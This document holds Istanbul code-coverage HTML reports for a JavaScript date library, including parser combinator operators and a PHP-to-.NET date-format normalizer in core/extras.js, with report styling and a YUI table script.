		min: <span class="fstat-no" title="function not covered" >function (min, rule) {</span>
<span class="cstat-no" title="statement not covered" >			return <span class="fstat-no" title="function not covered" >function (s) {</span></span>
<span class="cstat-no" title="statement not covered" >				var rx = rule.call(this, s);</span>
<span class="cstat-no" title="statement not covered" >				if (rx[0].length &lt; min) {</span>
<span class="cstat-no" title="statement not covered" >					throw new $P.Exception(s);</span>
				}
<span class="cstat-no" title="statement not covered" >				return rx;</span>
			};
		}
	};
	
&nbsp;
	// Generator Operators And Vector Operators
&nbsp;
	// Generators are operators that have a signature of F(R) =&gt; R,
	// taking a given rule and returning another rule, such as 
	// ignore, which parses a given rule and throws away the result.
&nbsp;
	// Vector operators are those that have a signature of F(R1,R2,...) =&gt; R,
	// take a list of rules and returning a new rule, such as each.
&nbsp;
	// Generator operators are converted (via the following _generator
	// function) into functions that can also take a list or array of rules
	// and return an array of new rules as though the function had been
	// called on each rule in turn (which is what actually happens).
&nbsp;
	// This allows generators to be used with vector operators more easily.
	// Example:
	// each(ignore(foo, bar)) instead of each(ignore(foo), ignore(bar))
&nbsp;
	// This also turns generators into vector operators, which allows
	// constructs like:
	// not(cache(foo, bar))
	
	var _generator = function (op) {
		function gen() {
			var args = null, rx = [], px, i;
			<span class="missing-if-branch" title="if path not taken" >I</span>if (arguments.length &gt; 1) {
<span class="cstat-no" title="statement not covered" >				args = Array.prototype.slice.call(arguments);</span>
			} else <span class="missing-if-branch" title="if path not taken" >I</span>if (arguments[0] instanceof Array) {
<span class="cstat-no" title="statement not covered" >				args = arguments[0];</span>
			}
			<span class="missing-if-branch" title="if path not taken" >I</span>if (args) {
<span class="cstat-no" title="statement not covered" >				px = args.shift();</span>
<span class="cstat-no" title="statement not covered" >				if (px.length &gt; 0) {</span>
<span class="cstat-no" title="statement not covered" >					args.unshift(px[i]);</span>
<span class="cstat-no" title="statement not covered" >					rx.push(op.apply(null, args));</span>
<span class="cstat-no" title="statement not covered" >					args.shift();</span>
<span class="cstat-no" title="statement not covered" >					return rx;</span>
				}
			} else {
				return op.apply(null, arguments);
			}
		}
&nbsp;
		return gen;
	};
	
	var gx = "optional not ignore cache".split(/\s/);
	
	for (var i = 0 ; i &lt; gx.length ; i++) {
		_[gx[i]] = _generator(_[gx[i]]);
	}
&nbsp;
	var _vector = function (op) {
		return function () {
			<span class="missing-if-branch" title="if path not taken" >I</span>if (arguments[0] instanceof Array) {
<span class="cstat-no" title="statement not covered" >				return op.apply(null, arguments[0]);</span>
			} else {
				return op.apply(null, arguments);
			}
		};
	};
	
	var vx = "each any all".split(/\s/);
	
	for (var j = 0 ; j &lt; vx.length ; j++) {
		_[vx[j]] = _vector(_[vx[j]]);
	}
	
}());</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
extras.js.html000066600000126346152444006550007400 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/extras.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header medium">
    <h1>Code coverage report for <span class="entity">core/extras.js</span></h1>
    <h2>
        
        Statements: <span class="metric">61.76% <small>(42 / 68)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">33.33% <small>(15 / 45)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">92.31% <small>(12 / 13)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">61.76% <small>(42 / 68)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; extras.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">166</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">81</span>
<span class="cline-any cline-yes">81</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">166</span>
<span class="cline-any cline-yes">166</span>
<span class="cline-any cline-yes">166</span>
<span class="cline-any cline-yes">85</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">81</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">81</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-yes">166</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	var $D = Date,
		$P = $D.prototype,
		// $C = $D.CultureInfo, // not used atm
		p = <span class="fstat-no" title="function not covered" >function (s, l) {</span>
<span class="cstat-no" title="statement not covered" >			if (!l) {</span>
<span class="cstat-no" title="statement not covered" >				l = 2;</span>
			}
<span class="cstat-no" title="statement not covered" >			return ("000" + s).slice(l * -1);</span>
		};
	/**
	 * Converts a PHP format string to Java/.NET format string. 
	 * A PHP format string can be used with ._format or .format.
	 * A Java/.NET format string can be used with .toString().
	 * The .parseExact function will only accept a Java/.NET format string
	 *
	 * Example
	 * var f1 = "%m/%d/%y"
	 * var f2 = Date.normalizeFormat(f1);	// "MM/dd/yy"
	 * 
	 * new Date().format(f1);	// "04/13/08"
	 * new Date()._format(f1);	// "04/13/08"
	 * new Date().toString(f2);	// "04/13/08"
	 *  
	 * var date = Date.parseExact("04/13/08", f2); // Sun Apr 13 2008
	 * 
	 * @param {String}   A PHP format string consisting of one or more format spcifiers.
	 * @return {String}  The PHP format converted to a Java/.NET format string.
	 */
	 var normalizerSubstitutions = {
		"d" : "dd",
		"%d": "dd",
		"D" : "ddd",
		"%a": "ddd",
		"j" : "dddd",
		"l" : "dddd",
		"%A": "dddd",
		"S" : "S",
		"F" : "MMMM",
		"%B": "MMMM",
		"m" : "MM",
		"%m": "MM",
		"M" : "MMM",
		"%b": "MMM",
		"%h": "MMM",
		"n" : "M",
		"Y" : "yyyy",
		"%Y": "yyyy",
		"y" : "yy",
		"%y": "yy",
		"g" : "h",
		"%I": "h",
		"G" : "H",
		"h" : "hh",
		"H" : "HH",
		"%H": "HH",
		"i" : "mm",
		"%M": "mm",
		"s" : "ss",
		"%S": "ss",
		"%r": "hh:mm tt",
		"%R": "H:mm",
		"%T": "H:mm:ss",
		"%X": "t",
		"%x": "d",
		"%e": "d",
		"%D": "MM/dd/yy",
		"%n": "\\n",
		"%t": "\\t",
		"e" : "z",
		"T" : "z",
		"%z": "z",
		"%Z": "z",
		"Z" : "ZZ",
		"N" : "u",
		"w" : "u",
		"%w": "u",
		"W" : "W",
		"%V": "W",
	};
	var normalizer = {
		substitutes: function (m) {
			return normalizerSubstitutions[m];
		},
		interpreted: function (m, x) {
			var y;
			switch (m) {
<span class="branch-0 cbranch-no" title="branch not covered" >				case "%u":</span>
<span class="cstat-no" title="statement not covered" >					return x.getDay() + 1;</span>
<span class="branch-1 cbranch-no" title="branch not covered" >				case "z":</span>
<span class="cstat-no" title="statement not covered" >					return x.getOrdinalNumber();</span>
<span class="branch-2 cbranch-no" title="branch not covered" >				case "%j":</span>
<span class="cstat-no" title="statement not covered" >					return p(x.getOrdinalNumber(), 3);</span>
